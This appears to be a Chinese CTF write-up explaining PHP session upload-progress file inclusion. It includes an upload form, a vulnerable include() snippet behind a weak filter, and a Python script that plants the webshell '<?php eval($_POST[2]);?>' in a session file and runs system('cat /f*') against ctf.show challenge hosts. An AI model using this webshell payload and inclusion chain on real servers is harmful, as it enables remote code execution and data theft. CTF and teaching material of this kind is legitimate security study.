作者 by Yichen / 2024-01-10 / 暂无评论 / 58 个足迹
一些默认存放路径:
/var/lib/php/sess_PHPSESSID
/var/lib/php/sessions/sess_PHPSESSID
/tmp/sess_PHPSESSID
/tmp/sessions/sess_PHPSESSID
如果没做过设置,session文件默认是在/var/lib/php/sessions/目录下,文件名是sess_加上你的sessionID字段。(没有权限)而一般情况下,phpmyadmin的session文件会设置在/tmp目录下,需要在php.ini里把session.auto_start置为1,把session.save_path目录设置为/tmp。
Session Upload Progress 即 Session 上传进度,是php>=5.4后开始添加的一个特性。官网对他的描述是当 session.upload_progress.enabled 选项开启时(默认开启),PHP 能够在每一个文件上传时 监测上传进度。当一个上传在处理中,同时POST一个与INI中设置的session.upload_progress.name同名变量时,上传进度可以在 SESSION中获得。当PHP检测到这种POST请求时,它会在_SESSION 中添加一组数据,索引是 session.upload_progress.prefix 与 session.upload_progress.name 连接在一起的值。
Session Upload Progress 最初是PHP为上传进度条设计的一个功能,在上传文件较大的情况下,PHP将进行流式上传,并将进度信息放在Session中,此时即使用户没有初始化Session,PHP也会自动初始化Session。默认情况下session.upload_progress.enabled是为On的,也就是说这个特性默认开启。所以,我们可以通过这个特性来在目标主机上初始化Session。
我们只要在上传文件的时候,同时POST一个恶意的字段 PHP_SESSION_UPLOAD_PROGRESS,目标服务器的PHP就会自动启用Session,Session文件将会自动创建。<!doctype html> <html> <body> <form action="[http://21b3de09-8c3f-46f5-8c52-5cf4a996fd63.challenge.ctf.show/](http://21b3de09-8c3f-46f5-8c52-5cf4a996fd63.challenge.ctf.show/)" method="POST" enctype="multipart/form-data"> <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="恶意代码" /> <input type="file" name="file" /> <input type="submit" /> </form> </body> </html>
用一个上传表单把要传的PHP_SESSION_UPLOAD_PROGRESS传过去,抓包后把Cookie: PHPSESSID:(值自己定)加上,就可以获得sess_(值)样式的固定名称的session文件有时可以用条件竞争来访问getshell
<?php
function waf($path){<br />$path = str_replace(".","",$path);<br />return preg_match("/^[a-z]+/",$path);
}
if(waf($_POST[1])){<br />include "file://".$_POST[1];
}
题目如上,先用表单抓包,初始化session文件,然后持续发包,保证文件一直存在,这里命名为test,对应文件为sess_test,尝试默认路径为tmp/sess_test


最终得到flag
上述方法是比较手动的方法,下面附上一个自动化py脚本
import requests
url="http://b2c1d937-7478-4630-bd56-710118ad6c7c.challenge.ctf.show/"
data = {
'PHP_SESSION_UPLOAD_PROGRESS': '<?php eval($_POST[2]);?>',
'1': 'localhost/tmp/sess_ctfshow',
'2': 'system("cat /f*");'
}
cookies = {
'PHPSESSID': 'ctfshow'
}
response = requests.post(url=url,data=data,cookies=cookies)
print(response.text)
独特见解